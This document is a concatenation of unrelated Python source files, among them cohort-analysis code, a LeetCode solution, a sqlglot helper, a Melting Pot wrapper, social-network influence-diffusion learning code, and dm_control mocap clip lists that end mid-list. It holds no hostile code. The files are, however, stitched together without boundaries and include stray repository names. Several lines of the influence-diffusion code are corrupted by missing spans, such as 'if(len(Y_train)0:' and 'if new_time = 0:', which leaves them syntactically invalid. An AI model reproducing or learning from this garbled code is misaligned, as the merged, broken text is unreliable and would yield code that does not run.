Set[int] = set() max_purchase_week: int = -1 purchase_week: int for time in customer.order_times: purchase_week = (time - customer.created) // dt.timedelta(7) distinct_purchase_weeks.add(purchase_week) max_purchase_week = max(max_purchase_week, purchase_week) if len(distinct_purchases) < max_purchase_week + 1: distinct_purchases.extend([0]*(max_purchase_week + 1 - len(distinct_purchases))) for purchase_week in distinct_purchase_weeks: cohorts[cohort_index][2][purchase_week] += 1 cohorts[cohort_index] = (date, num_customers, distinct_purchases) def print_cohort_analysis(cohorts: CSVARRAY, out_file: str) -> None: """ Generates the CSV for cohorts into out_file """ num_weeks: int = len(max(cohorts, key=lambda x: len(x[2]))[2]) with open(out_file, 'w', newline='') as csvfile: cohort_writer = csv.writer(csvfile, delimiter=',') cohort_bounds: Callable[[int], str] = lambda x: str(7*x) + "-" + str(7*x+6) + " days" day_headers: List[str] = list(map(cohort_bounds, range(num_weeks))) cohort_writer.writerow(["Cohort", "Customers"] + day_headers) cohort_writer.writerows(map(format_tuple, cohorts)) return def format_tuple(tup): """ Prepares tuple for writerows so that each element is separated by a comma Not typing this one. See mypy issue #3935 """ end_date, num_customers, purchase_list = tup return [str(end_date - dt.timedelta(6)) + " - " + str(end_date), num_customers] + purchase_list """Initilize imports for convenience.""" from .key_event import KeyCode, KeyEvent from .window_event_manager import WindowEventManager from .window_event_subscriber import WindowEventSubscriber from .mouse_event import MouseButton, MouseEvent from .publisher import Publisher __all__ = [ 'KeyCode', 'KeyEvent', 'WindowEventManager', 'WindowEventSubscriber', 'MouseButton', 'MouseEvent', 'Publisher', ] # Time: O(n) # Space: O(1) class Solution(object): def maxPower(self, s): """ :type s: str :rtype: int """ result, count = 1, 1 for i in xrange(1, len(s)): if s[i] == s[i-1]: count += 1 else: count = 1 result = max(result, count) return result # Time: O(n) # Space: O(n) import itertools class Solution2(object): def maxPower(self, s): return max(len(list(v)) for _, v in itertools.groupby(s)) 0 """ Module implementing the start of the FreiStat graphical user interface. """ __author__ = "" __contact__ = "University of Freiburg, IMTEK, " __credits__ = "" __version__ = "1.0.0" __maintainer__ = "" __email__ = ", " # Import internal dependencies from Python.FreiStat_GUI.Main_Window import FreiStatInterface def Main(): """ Description ----------- Example implementation of the FreiStat interface. """ FreiStatInterface() # Run main interface if __name__ == '__main__': Main()0 from pyformlang.finite_automaton import NondeterministicFiniteAutomaton, State, Symbol from typing import List, Tuple class Graph: def __init__(self, edges: List[Tuple[int, str, int]]): self.edges = edges self.vertices = set() for v_from, _, v_to in self.edges: self.vertices.add(v_from) self.vertices.add(v_to) self.vertices_num = len(self.vertices) @classmethod def graph_to_nfa(cls, start_states, final_states, transitions: List[Tuple[int, str, int]]): nfa = NondeterministicFiniteAutomaton() for start_state in start_states: nfa.add_start_state(State(start_state)) for final_state in final_states: nfa.add_final_state(State(final_state)) for st_from, label, st_to in transitions: nfa.add_transition(State(st_from), Symbol(label), State(st_to)) return nfa 0 from sqlglot import expressions as exp def quote_identities(expression): """ Rewrite sqlglot AST to ensure all identities are quoted. Example: >>> import sqlglot >>> expression = sqlglot.parse_one("SELECT x.a AS a FROM db.x") >>> quote_identities(expression).sql() 'SELECT "x"."a" AS "a" FROM "db"."x"' Args: expression (sqlglot.Expression): expression to quote Returns: sqlglot.Expression: quoted expression """ def qualify(node): if isinstance(node, exp.Identifier): node.set("quoted", True) return node return expression.transform(qualify) # Copyright 2020 DeepMind Technologies Limited. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Wrapper that rebuilds the Lab2d environment on every reset.""" from typing import Callable import dm_env import dmlab2d from meltingpot.python.utils.substrates.wrappers import base class ResetWrapper(base.Wrapper): """Wrapper that rebuilds the environment on reset.""" def __init__(self, build_environment: Callable[[], dmlab2d.Environment]): """Initializes the object. Args: build_environment: Called to build the underlying environment. """ env = build_environment() super().__init__(env) self._rebuild_environment = build_environment self._reset = False def reset(self) -> dm_env.TimeStep: """Rebuilds the environment and calls reset on it.""" if self._reset: self._env.close() self._env = self._rebuild_environment() else: # Don't rebuild on very first reset call (it's inefficient). self._reset = True return super().reset() cdslabamotong/stratLearnerStratLearner/stratLearner.py from base import StructuredModel import numpy as np import sys import heapq import time import random import math import multiprocessing import copy class Utils(object): def greeting(name): print("Hello, " + name) def getData(self,path, Num): file1 = open(path, 'r') lineNum = 1 X = [] Y = [] X_influence = [] Y_influence = [] while True: line = file1.readline() if not line: break seedset = set(line.split()) if len(Y) < Num: if lineNum % 5 == 1: X.append(seedset) if lineNum % 5 == 2: Y.append(seedset) if lineNum % 5 == 3: X_influence.append(float(line)) if lineNum % 5 == 4: Y_influence.append(float(line)) lineNum += 1 if (len(X) != Num) or (len(Y) != Num): sys.exit("getData: data fetch failed with sizes: {} {}".format( len(X),len(Y))) return X, Y, X_influence, Y_influence def getDataTrainTest(self, path, trainNum, testNum): file1 = open(path, 'r') lineNum = 1 X_train = [] Y_train = [] X_train_influence = [] Y_train_influence = [] X_test = [] Y_test = [] X_test_influence = [] Y_test_influence = [] while True: line = file1.readline() if not line: break seedset = set(line.split()) if len(Y_train) < trainNum: if lineNum % 5 == 1: X_train.append(seedset) if lineNum % 5 == 2: Y_train.append(seedset) if lineNum % 5 == 3: X_train_influence.append(float(line)) if lineNum % 5 == 4: Y_train_influence.append(float(line)) else: if len(Y_test) < testNum: if lineNum % 5 == 1: X_test.append(seedset) if lineNum % 5 == 2: Y_test.append(seedset) if lineNum % 5 == 3: X_test_influence.append(float(line)) if lineNum % 5 == 4: Y_test_influence.append(float(line)) lineNum += 1 if (len(X_train) != trainNum) or (len(Y_test) != testNum): sys.exit("getData: data fetch failed with sizes: {} {}".format( len(X_train),len(Y_train))) return X_train, Y_train, X_train_influence, Y_train_influence, X_test, Y_test, X_test_influence, Y_test_influence def getDataTrainTestRandom(self,path, trainNum, testNum, Max): lineNums=(np.random.permutation(Max)*5)[0:(trainNum+testNum)] lineNums.sort() file1 = open(path, 'r') lineNum = 0 X_train, Y_train, X_train_influence, Y_train_influence = ([] for i in range(4)) X_test, Y_test, X_test_influence, Y_test_influence= ([] for i in range(4)) while len(lineNums)>0: line = file1.readline() if not line: break if lineNum != lineNums[0]: lineNum += 1 else: if(len(Y_train)0: line = file1.readline() if not line: break if lineNum != lineNums[0]: lineNum += 1 else: seedset = set(line.split()) X.append(seedset) lineNum += 1 line = file1.readline() seedset = set(line.split()) Y.append(seedset) lineNum += 1 line = file1.readline() X_influence.append(float(line)) lineNum += 1 line = file1.readline() Y_influence.append(float(line)) lineNum += 1 lineNums=np.delete(lineNums, 0) if (len(X) != Num) or (len(Y) != Num): sys.exit("getDataRandom: data fetch failed with sizes: {} {}".format( len(X),len(Y))) return X, Y, X_influence, Y_influence def testFunction(self, model, testNum,thread,X_test,Y_test, Y_pred, infTimes, random_pred = False): if random_pred : Y_pred =[] for x in X_test: w=np.random.random((1, model.size_joint_feature)) Y_pred.append(model.inference(x, w)) block_size =int (testNum/thread); p = multiprocessing.Pool(thread) influence_Xs = p.starmap(model.instance.testInfluence_0_block, ((X_test[i*block_size:(i+1)*block_size], infTimes) for i in range(thread))) p.close() p.join() p = multiprocessing.Pool(thread) influence_Ys = p.starmap(model.instance.testInfluence_0_block, ((X_test[i*block_size:(i+1)*block_size], infTimes, Y_test[i*block_size:(i+1)*block_size]) for i in range(thread))) p.close() p.join() p = multiprocessing.Pool(thread) influence_Y_preds = p.starmap(model.instance.testInfluence_0_block, ((X_test[i*block_size:(i+1)*block_size], infTimes, Y_pred[i*block_size:(i+1)*block_size]) for i in range(thread))) p.close() p.join() influence_X=[] influence_Y=[] influence_Y_pred=[] for i in range(thread): influence_X.extend(influence_Xs[i]) influence_Y.extend(influence_Ys[i]) influence_Y_pred.extend(influence_Y_preds[i]) reduce_percent_opt=[] reduce_percent_pre = [] com_to_opt = [] error_abs = [] error_ratio = [] for influence_x, influence_y, influence_y_pred in zip(influence_X, influence_Y, influence_Y_pred): #print("{} {} {} {} {}".format(influence_x,influence_y,influence_y_pred, influence_x_read, influence_y_read)) reduce_percent_opt.append((influence_x-influence_y)/influence_x) reduce_percent_pre.append( (influence_x-influence_y_pred)/influence_x) com_to_opt.append((influence_x-influence_y_pred)/(influence_x-influence_y+0.01)) error_abs.append((influence_y_pred-influence_y)) error_ratio.append((influence_y_pred-influence_y)/influence_y) #print() print("error_abs: {} +- {}".format(np.mean(np.array(error_abs)), np.std(np.array(error_abs)))) print("com_to_opt: {} +- {}".format(np.mean(np.array(com_to_opt)), np.std(np.array(com_to_opt)))) def pooling(self,one_slack_svm, ratio): maxWeight=max(one_slack_svm.w) indexList=[] for i in range(len(one_slack_svm.w)): if one_slack_svm.w[i]>ratio*maxWeight: indexList.append(i) new_diffusionGraphs=[] for i in indexList: new_diffusionGraphs.append(copy.deepcopy(one_slack_svm.model.instance.diffusionGraphs[i])) one_slack_svm.model.instance.diffusionGraphs=new_diffusionGraphs one_slack_svm.model.instance.featureNum=len(indexList) one_slack_svm.model.size_joint_feature=len(indexList) class Train(object): def __init__(self, attack, protect, a_influence, p_influence): self.attack=attack self.protect=protect self.a_influence=a_influence self.p_influence=p_influence class SocialGraph(object): class Node(object): def __init__(self,index): self.index = index self.neighbor = {} self.in_degree = 0 self.out_degree = 0 def print(self): print(self.index) for node in self.neighbor: print("{} {} {} {}".format(str(self.index), str(node) , str(self.neighbor[node][0]), str(self.neighbor[node][1]))) def __init__(self, path, vNum): self.nodes={} self.vNum = vNum for v in range(self.vNum): node = self.Node(str(v)) node.neighbor={} self.nodes[str(v)]=node file1 = open(path, 'r') while True: line = file1.readline() if not line: break ints = line.split() node1 = ints[0] node2 = ints[1] para_1 = float(ints[2]) para_2 = float(ints[3]) if node1 in self.nodes: self.nodes[node1].neighbor[node2]=[para_1, para_2] self.nodes[node1].out_degree += 1 self.nodes[node2].in_degree += 1 else: sys.exit("non existing node") if node2 not in self.nodes: sys.exit("non existing node") #print(path + " read") def print(self): for node in self.nodes: self.nodes[node].print() def getNeighborsByHot(self, y, hotNum): temp = y.copy() neighbors = y.copy() for _ in range(hotNum): for current in neighbors: for current_to in self.nodes[current].neighbor: temp.add(current_to) neighbors = temp.copy() return neighbors def spreadMulti_n0(self,x,y,times): return self.vNum-self.spreadMulti(x,y,times) def spreadMulti(self, x,y,times): local_state = random.Random() count = 0 for _ in range(times): count += self.spreadOnce(x,y,local_state) return count/times def spreadMulti_P(self, x,y,times, thread): if not isinstance(thread, int): sys.exit("thread should be int") if thread >1: p = multiprocessing.Pool(thread) counts = sum(p.starmap(self.spreadMulti, ((x,y,int(times/thread))for _ in range(thread) ))) p.close() p.join() #counts = Parallel(n_jobs=thread, verbose=0 )(delayed(self.spreadMulti)(x,y,int(times/thread))for _ in range(thread)) return counts/thread else: sys.exit("spreadMulti_P wrong") def spreadOnce(self, seedSet_x, seedSet_y, local_state ): #local_state = np.random.RandomState() #local_state.seed() '''return # of 0-active nodes''' tstate = {} # current state fstate = {} # final time tTime = dict() # best time actTime = [] # all updated time for x in seedSet_x: tstate[x]=0 heapq.heappush(actTime, (0, x)) tTime[x]=0.0 for y in seedSet_y: if y not in seedSet_x: tstate[y]=1 heapq.heappush(actTime, (0, y)) tTime[y]=0.0 #print(tTime) while len(actTime)>0: current_node_time, current_node = heapq.heappop(actTime) if current_node not in fstate: if current_node_time != tTime[current_node]: sys.exit("current_node_time != tTime[current_node]") fstate[current_node]=current_node_time self.spreadLocal(tstate, fstate, actTime, tTime, current_node, current_node_time, local_state) count = 0 for x in tstate: if tstate[x]==0: count += 1 #print(self.vNum-count) return count def spreadLocal(self,tstate, fstate, actTime, tTime, current_node, current_node_time,local_state): #print(tTime) #print(self.nodes[current_node].neighbor) for to_node, para in self.nodes[current_node].neighbor.items(): if (to_node in fstate) or (not self.isSuccess(self.nodes[to_node], local_state)): pass else: transTime = self.getWeibull(para[0], para[1]) new_time = current_node_time+ transTime if to_node in tstate: if new_time = 0: return math.ceil(time)+1 else: sys.exit("time <0") return None def genTrains(self, pairsNum, path, simutimes, thread): file1 = open('../data/power_list.txt', 'r') seedSizes = [] while len(seedSizes)0: current_node_time, current_node = heapq.heappop(actTime) if current_node not in fstate: if current_node_time != tTime[current_node]: sys.exit("current_node_time != tTime[current_node]") fstate[current_node]=current_node_time self.spreadLocal(tstate, fstate, actTime, tTime, current_node, current_node_time) count = 0 cover={} for x in tstate: if tstate[x]==0: count += 1 cover[x]=tTime[x] #print(self.vNum-count) if getCover: return count, cover else: return count def spreadLocal(self,tstate, fstate, actTime, tTime, current_node, current_node_time): #print(tTime) #print(self.nodes[current_node].neighbor) for to_node in self.tranTimes[current_node]: tranTime=self.tranTimes[current_node][to_node] if to_node in fstate: pass else: new_time = current_node_time+ tranTime if to_node in tstate: if new_time =c_value: c_index=str(v) c_value=value #print("{} {}".format(c_index,c_value-self.loss_augmented_inference_objective(x, y, solution, w))) solution.add(c_index) #print(solution) #print(self.loss_augmented_inference_objective(x, y, solution, w)) return solution def loss_augmented_inference_area_greedy_fast(self, x, y ,w): #print("loss_augmented_inference_greedy_fast") solution = set() c_cover = [] temp = [] for graph in self.diffusionGraphs: tempp, c_coverOneGraph=graph.spread(x,{}, getCover=True) c_cover.append(c_coverOneGraph) temp.append(tempp) #print(c_coverOneGraph) for i in range(len(x)): c_value = 0 c_index = None t_cover = {}; for v in range(self.vNum): value, node_cover = self.loss_augmented_inference_fast_scoreGain(x, y, solution, {str(v)}, w, c_cover) if value>=c_value: c_index=str(v) c_value=value t_cover = node_cover #print("{} {}".format(c_index,c_value)) solution.add(c_index) c_cover = t_cover #print(solution) #print(self.loss_augmented_inference_objective(x, y, solution, w)) return solution def loss_augmented_inference_hamming(self, x, y ,w): y1, scores,_,_ = self.inference(x, w) score2 = self.computeScore(x, y, w) if scores[-1]+self.loss(y, y1) > score2: return y1 else: return y def loss_augmented_inference_area_greedy_lazy(self, x, y ,w): #print("loss_augmented_inference_area_fakeLazeGreedy") solution = set() gains = [] for node in range(self.vNum): gain = self.loss_augmented_inference_objective(x, y, solution.union({str(node)}), w) #print(gain); heapq.heappush(gains, (-gain, str(node))) score_gain, node = heapq.heappop(gains) solution.add(node) c_score = -score_gain #print("{} {}".format(node, -score_gain)) for _ in range(len(x) - 1): matched = False while not matched: _, current_node = heapq.heappop(gains) score_gain = self.loss_augmented_inference_objective(x, y, solution.union({current_node}), w) - c_score heapq.heappush(gains, (-score_gain, current_node)) matched = gains[0][1] == current_node score_gain, node = heapq.heappop(gains) c_score = c_score - score_gain solution.add(node) #print("{} {}".format(node, -score_gain)) #print(self.loss_augmented_inference_objective(x, y, solution, w)) return solution def loss_augmented_inference_area_greedy_lazy_fast(self, x, y ,w): #print("loss_augmented_inference_area_fast") solution = set() gains = [] c_cover = [] temp = [] for graph in self.diffusionGraphs: tempp, c_coverOneGraph=graph.spread(x,{}, getCover=True) c_cover.append(c_coverOneGraph) temp.append(tempp) #print(c_coverOneGraph) for node in range(self.vNum): gain, node_cover = self.loss_augmented_inference_fast_scoreGain(x, y, solution, {str(node)}, w, c_cover) #input("Press Enter to continue...") #print(-gain) heapq.heappush(gains, (-gain, str(node), node_cover)) # score_gain, node, node_cover = heapq.heappop(gains) solution.add(node) c_score = -score_gain #print("{} {}".format(node, -score_gain)) c_cover=node_cover for _ in range(len(x) - 1): matched = False while not matched: _, current_node, _ = heapq.heappop(gains) score_gain, new_cover = self.loss_augmented_inference_fast_scoreGain(x, y, solution, {str(current_node)}, w, c_cover) #if score_gain <0: #print("score_gain {}".format(score_gain)) heapq.heappush(gains, (-score_gain, current_node, new_cover)) matched = gains[0][1] == current_node score_gain, node, c_cover = heapq.heappop(gains) c_score = c_score - score_gain solution.add(node) #print("{} {}".format(node, -score_gain)) #print(self.loss_augmented_inference_objective(x, y, solution, w)) return solution def loss_augmented_inference_fast_scoreGain(self, x, y, current, newset, w, c_cover): inferenceGain, new_cover = self.computeScoreGain(x, y, current, newset, w, c_cover) lossGain = self.loss(y,current.union(newset))-self.loss(y,current) #print("{} + {}".format(inference, loss)) return inferenceGain+self.balance_para*lossGain, new_cover def computeScoreGain(self, x, y,current, newset, w, c_cover): scoreGain = [] new_cover = [] #print(c_cover) for graph, c_coverOneGraph in zip(self.diffusionGraphs, c_cover): gain, newcoverOneGraph=self.computeScoreGainOneGraph(x, y,current, newset, c_coverOneGraph, graph) #print("gain {}".format(gain)) scoreGain.append(gain) new_cover.append(newcoverOneGraph) #print("scoreGain {}".format(scoreGain)) return w.dot(np.array(scoreGain)), new_cover def computeScoreGainOneGraph(self, x, y, current, newset, c_coverOneGraph, graph): dnames=[] newcoverOneGraph=c_coverOneGraph.copy() for node in c_coverOneGraph: #print(c_coverOneGraph[node]) if graph.getDistance(newset,node)1: return self.socialGraph.spreadMulti_P(x,y,times, thread) else: return self.socialGraph.spreadMulti(x,y,times) def testInfluence_0_block(self, X, times, Y = None): result = [] if Y == None: for x in X: result.append(self.socialGraph.spreadMulti(x,{},times)) else: for x, y in zip(X,Y): result.append(self.socialGraph.spreadMulti(x,y,times)) return result class StratLearn(StructuredModel): """Interface definition for Structured Learners. This class defines what is necessary to use the structured svm. You have to implement at least joint_feature and inference. """ def __repr__(self): return ("%s, size_joint_feature: %d" % (type(self).__name__, self.size_joint_feature)) def __init__(self): """Initialize the model. Needs to set self.size_joint_feature, the dimensionality of the joint features for an instance with labeling (x, y). """ self.size_joint_feature = None def _check_size_w(self, w): if w.shape != (self.size_joint_feature,): raise ValueError("Got w of wrong shape. Expected %s, got %s" % (self.size_joint_feature, w.shape)) def initialize(self, X, Y, instance): # set any data-specific parameters in the model #self.featureNum = instance.featureNum self.size_joint_feature= instance.featureNum self.instance = instance self.inference_calls = 0 #if self.n_features is None: # self.n_features = n_features #elif self.n_features != n_features: # raise ValueError("Expected %d features, got %d" # % (self.n_features, n_features)) #n_labels = Y.shape[1] #if self.n_labels is None: # self.n_labels = n_labels #elif self.n_labels != n_labels: # raise ValueError("Expected %d labels, got %d" # % (self.n_labels, n_labels)) #self._set_size_joint_feature() #self._set_class_weight() pass """ def joint_feature(self, x, y): raise NotImplementedError() """ def joint_feature(self, x, y): return self.instance.computeFeature(x,y) ''' feature = np.zeros(self.featureNum) index = 0 for graph in self.instance.graphs: distance_matrix = np.zeros( (2, 3) ) for v in range(self.instance.nNUm): x_min=sys.maxsize for u in x: if distance_matrix[v][u]srivatsan-ramesh/HDMI-Source-Sink-Modules control_token_0 = 852 # 00 control_token_1 = 171 # 01 control_token_2 = 340 # 10 control_token_3 = 683 # 11 h8907283/dm_control1000+ # Copyright 2020 The dm_control Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================ """Subsets of the CMU mocap database.""" from dm_control.locomotion.tasks.reference_pose import types ClipCollection = types.ClipCollection # get up GET_UP = ClipCollection( ids=('CMU_139_16', 'CMU_139_17', 'CMU_139_18', 'CMU_140_01', 'CMU_140_02', 'CMU_140_08', 'CMU_140_09') ) # Subset of about 40 minutes of varied locomotion behaviors. LOCOMOTION_SMALL = ClipCollection( ids=('CMU_001_01', 'CMU_002_03', 'CMU_002_04', 'CMU_009_01', 'CMU_009_02', 'CMU_009_03', 'CMU_009_04', 'CMU_009_05', 'CMU_009_06', 'CMU_009_07', 'CMU_009_08', 'CMU_009_09', 'CMU_009_10', 'CMU_009_11', 'CMU_013_11', 'CMU_013_13', 'CMU_013_19', 'CMU_013_32', 'CMU_013_39', 'CMU_013_40', 'CMU_013_41', 'CMU_013_42', 'CMU_014_07', 'CMU_014_08', 'CMU_014_09', 'CMU_016_01', 'CMU_016_02', 'CMU_016_03', 'CMU_016_04', 'CMU_016_05', 'CMU_016_06', 'CMU_016_07', 'CMU_016_08', 'CMU_016_09', 'CMU_016_10', 'CMU_016_17', 'CMU_016_18', 'CMU_016_19', 'CMU_016_20', 'CMU_016_27', 'CMU_016_28', 'CMU_016_29', 'CMU_016_30', 'CMU_016_35', 'CMU_016_36', 'CMU_016_37', 'CMU_016_38', 'CMU_016_39', 'CMU_016_40', 'CMU_016_41', 'CMU_016_42', 'CMU_016_43', 'CMU_016_44', 'CMU_016_45', 'CMU_016_46', 'CMU_016_48', 'CMU_016_49', 'CMU_016_50', 'CMU_016_51', 'CMU_016_52', 'CMU_016_53', 'CMU_016_54', 'CMU_016_55', 'CMU_016_56', 'CMU_016_57', 'CMU_035_17', 'CMU_035_18', 'CMU_035_19', 'CMU_035_20', 'CMU_035_21', 'CMU_035_22', 'CMU_035_23', 'CMU_035_24', 'CMU_035_25', 'CMU_035_26', 'CMU_036_02', 'CMU_036_03', 'CMU_036_09', 'CMU_038_03', 'CMU_038_04', 'CMU_039_11', 'CMU_047_01', 'CMU_049_02', 'CMU_049_03', 'CMU_049_04', 'CMU_049_05', 'CMU_069_06', 'CMU_069_07', 'CMU_069_08', 'CMU_069_09', 'CMU_069_10', 'CMU_069_11', 'CMU_069_12', 'CMU_069_13', 'CMU_069_14', 'CMU_069_15', 'CMU_069_16', 'CMU_069_17', 'CMU_069_18', 'CMU_069_19', 'CMU_069_20', 'CMU_069_21', 'CMU_069_22', 'CMU_069_23', 'CMU_069_24', 'CMU_069_25', 'CMU_069_26', 'CMU_069_27', 'CMU_069_28', 'CMU_069_29', 'CMU_069_30', 'CMU_069_31', 'CMU_069_32', 'CMU_069_33', 'CMU_069_42', 'CMU_069_43', 'CMU_069_44', 'CMU_069_45', 'CMU_069_46', 'CMU_069_47', 'CMU_069_48', 'CMU_069_49', 'CMU_069_56', 'CMU_069_57', 'CMU_069_58', 'CMU_069_59', 'CMU_069_60', 'CMU_069_61', 'CMU_069_62', 'CMU_069_63', 'CMU_069_64', 'CMU_069_65', 'CMU_069_66', 'CMU_069_67', 'CMU_075_01', 'CMU_075_02', 'CMU_075_03', 'CMU_075_04', 'CMU_075_05', 'CMU_075_06', 'CMU_075_07', 'CMU_075_08', 'CMU_075_09', 'CMU_075_10', 'CMU_075_11', 'CMU_075_12', 'CMU_075_13', 'CMU_075_14', 'CMU_075_15', 'CMU_076_10', 'CMU_077_10', 'CMU_077_11', 'CMU_077_12', 'CMU_077_13', 'CMU_078_01', 'CMU_078_02', 'CMU_078_03', 'CMU_078_07', 'CMU_078_09', 'CMU_078_10', 'CMU_082_15', 'CMU_083_36', 'CMU_083_37', 'CMU_083_38', 'CMU_083_39', 'CMU_083_40', 'CMU_083_41', 'CMU_083_42', 'CMU_083_43', 'CMU_083_45', 'CMU_083_46', 'CMU_083_48', 'CMU_083_49', 'CMU_083_51', 'CMU_083_52', 'CMU_083_53', 'CMU_083_54', 'CMU_083_56', 'CMU_083_57', 'CMU_083_58', 'CMU_083_59', 'CMU_083_60', 'CMU_083_61', 'CMU_083_62', 'CMU_083_64', 'CMU_083_65', 'CMU_086_01', 'CMU_086_11', 'CMU_090_06', 'CMU_090_07', 'CMU_091_39', 'CMU_091_40', 'CMU_091_41', 'CMU_091_42', 'CMU_091_43', 'CMU_091_44', 'CMU_091_45', 'CMU_091_46', 'CMU_091_47', 'CMU_091_48', 'CMU_091_49', 'CMU_091_50', 'CMU_091_51', 'CMU_091_52', 'CMU_091_53', 'CMU_104_53', 'CMU_104_54', 'CMU_104_55', 'CMU_104_56', 'CMU_104_57', 'CMU_105_39', 'CMU_105_40', 'CMU_105_41', 'CMU_105_42', 'CMU_105_43', 'CMU_105_44', 'CMU_105_45', 'CMU_105_46', 'CMU_105_47', 'CMU_105_48', 'CMU_105_49', 'CMU_105_50', 'CMU_105_51', 'CMU_105_52', 'CMU_118_01', 'CMU_118_02', 'CMU_118_03', 'CMU_118_04', 'CMU_118_05', 'CMU_118_06', 'CMU_118_07', 'CMU_118_08', 'CMU_118_09', 'CMU_118_10', 'CMU_118_11', 'CMU_118_12', 'CMU_118_13', 'CMU_118_14', 'CMU_118_15', 'CMU_118_16', 'CMU_118_17', 'CMU_118_18', 'CMU_118_19', 'CMU_118_20', 'CMU_118_21', 'CMU_118_22', 'CMU_118_23', 'CMU_118_24', 'CMU_118_25', 'CMU_118_26', 'CMU_118_27', 'CMU_118_28', 'CMU_118_29', 'CMU_118_30', 'CMU_127_03', 'CMU_127_04', 'CMU_127_05', 'CMU_127_06', 'CMU_127_07', 'CMU_127_08', 'CMU_127_09', 'CMU_127_10', 'CMU_127_11', 'CMU_127_12', 'CMU_127_13', 'CMU_127_14', 'CMU_127_15', 'CMU_127_16', 'CMU_127_17', 'CMU_127_18', 'CMU_127_19', 'CMU_127_20', 'CMU_127_21', 'CMU_127_22', 'CMU_127_23', 'CMU_127_24', 'CMU_127_25', 'CMU_127_26', 'CMU_127_27', 'CMU_127_28', 'CMU_127_29', 'CMU_127_30', 'CMU_127_31', 'CMU_127_32', 'CMU_127_37', 'CMU_127_38', 'CMU_128_02', 'CMU_128_03', 'CMU_128_04', 'CMU_128_05', 'CMU_128_06', 'CMU_128_07', 'CMU_128_08', 'CMU_128_09', 'CMU_128_10', 'CMU_128_11', 'CMU_132_23', 'CMU_132_24', 'CMU_132_25', 'CMU_132_26', 'CMU_132_27', 'CMU_132_28', 'CMU_139_10', 'CMU_139_11', 'CMU_139_12', 'CMU_139_13', 'CMU_143_01', 'CMU_143_02', 'CMU_143_03', 'CMU_143_04', 'CMU_143_05', 'CMU_143_06', 'CMU_143_07', 'CMU_143_08', 'CMU_143_09', 'CMU_143_42')) # Subset of about 2 minutes of walking behaviors. WALK_TINY = ClipCollection( ids=('CMU_016_22', 'CMU_016_23', 'CMU_016_24', 'CMU_016_25', 'CMU_016_26', 'CMU_016_27', 'CMU_016_28', 'CMU_016_29', 'CMU_016_30', 'CMU_016_31', 'CMU_016_32', 'CMU_016_33', 'CMU_016_34', 'CMU_016_47', 'CMU_016_58', 'CMU_047_01', 'CMU_056_01', 'CMU_069_01', 'CMU_069_02', 'CMU_069_03', 'CMU_069_04', 'CMU_069_05', 'CMU_069_20', 'CMU_069_21', 'CMU_069_22', 'CMU_069_23', 'CMU_069_24', 'CMU_069_25', 'CMU_069_26', 'CMU_069_27', 'CMU_069_28', 'CMU_069_29', 'CMU_069_30', 'CMU_069_31', 'CMU_069_32', 'CMU_069_33')) # Subset of about 2 minutes of walking/running/jumping behaviors. RUN_JUMP_TINY = ClipCollection( ids=('CMU_009_01', 'CMU_009_02', 'CMU_009_03', 'CMU_009_04', 'CMU_009_05', 'CMU_009_06', 'CMU_009_07', 'CMU_009_08', 'CMU_009_09', 'CMU_009_10', 'CMU_009_11', 'CMU_016_22', 'CMU_016_23', 'CMU_016_24', 'CMU_016_25', 'CMU_016_26', 'CMU_016_27', 'CMU_016_28', 'CMU_016_29', 'CMU_016_30', 'CMU_016_31', 'CMU_016_32', 'CMU_016_47', 'CMU_016_48', 'CMU_016_49', 'CMU_016_50', 'CMU_016_55', 'CMU_016_58', 'CMU_049_04', 'CMU_049_05', 'CMU_069_01', 'CMU_069_02', 'CMU_069_03', 'CMU_069_04', 'CMU_069_05', 'CMU_075_01', 'CMU_075_02', 'CMU_075_03', 'CMU_075_10', 'CMU_075_11', 'CMU_127_03', 'CMU_127_06', 'CMU_127_07', 'CMU_127_08', 'CMU_127_09', 'CMU_127_10', 'CMU_127_11', 'CMU_127_12', 'CMU_128_02', 'CMU_128_03')) # Subset of about 3.5 hours of varied locomotion behaviors and hand movements. ALL = ClipCollection( ids=('CMU_001_01', 'CMU_002_01', 'CMU_002_02', 'CMU_002_03', 'CMU_002_04', 'CMU_005_01', 'CMU_006_01', 'CMU_006_02', 'CMU_006_03', 'CMU_006_04', 'CMU_006_05', 'CMU_006_06', 'CMU_006_07', 'CMU_006_08', 'CMU_006_09', 'CMU_006_10', 'CMU_006_11', 'CMU_006_12', 'CMU_006_13', 'CMU_006_14', 'CMU_006_15', 'CMU_007_01', 'CMU_007_02', 'CMU_007_03', 'CMU_007_04', 'CMU_007_05', 'CMU_007_06', 'CMU_007_07', 'CMU_007_08', 'CMU_007_09', 'CMU_007_10', 'CMU_007_11', 'CMU_007_12', 'CMU_008_01', 'CMU_008_02', 'CMU_008_03', 'CMU_008_04', 'CMU_008_05', 'CMU_008_06', 'CMU_008_07', 'CMU_008_08', 'CMU_008_09', 'CMU_008_10', 'CMU_008_11', 'CMU_009_01', 'CMU_009_02', 'CMU_009_03', 'CMU_009_04', 'CMU_009_05', 'CMU_009_06', 'CMU_009_07', 'CMU_009_08', 'CMU_009_09', 'CMU_009_10', 'CMU_009_11', 'CMU_009_12', 'CMU_010_04', 'CMU_013_11', 'CMU_013_13', 'CMU_013_19', 'CMU_013_26', 'CMU_013_27', 'CMU_013_28', 'CMU_013_29', 'CMU_013_30', 'CMU_013_31', 'CMU_013_32', 'CMU_013_39', 'CMU_013_40', 'CMU_013_41', 'CMU_013_42', 'CMU_014_06', 'CMU_014_07', 'CMU_014_08', 'CMU_014_09', 'CMU_014_14', 'CMU_014_20', 'CMU_014_24', 'CMU_014_25', 'CMU_014_26', 'CMU_015_01', 'CMU_015_03', 'CMU_015_04', 'CMU_015_05', 'CMU_015_06', 'CMU_015_07', 'CMU_015_08', 'CMU_015_09', 'CMU_015_12', 'CMU_015_14', 'CMU_016_01', 'CMU_016_02', 'CMU_016_03', 'CMU_016_04', 'CMU_016_05', 'CMU_016_06', 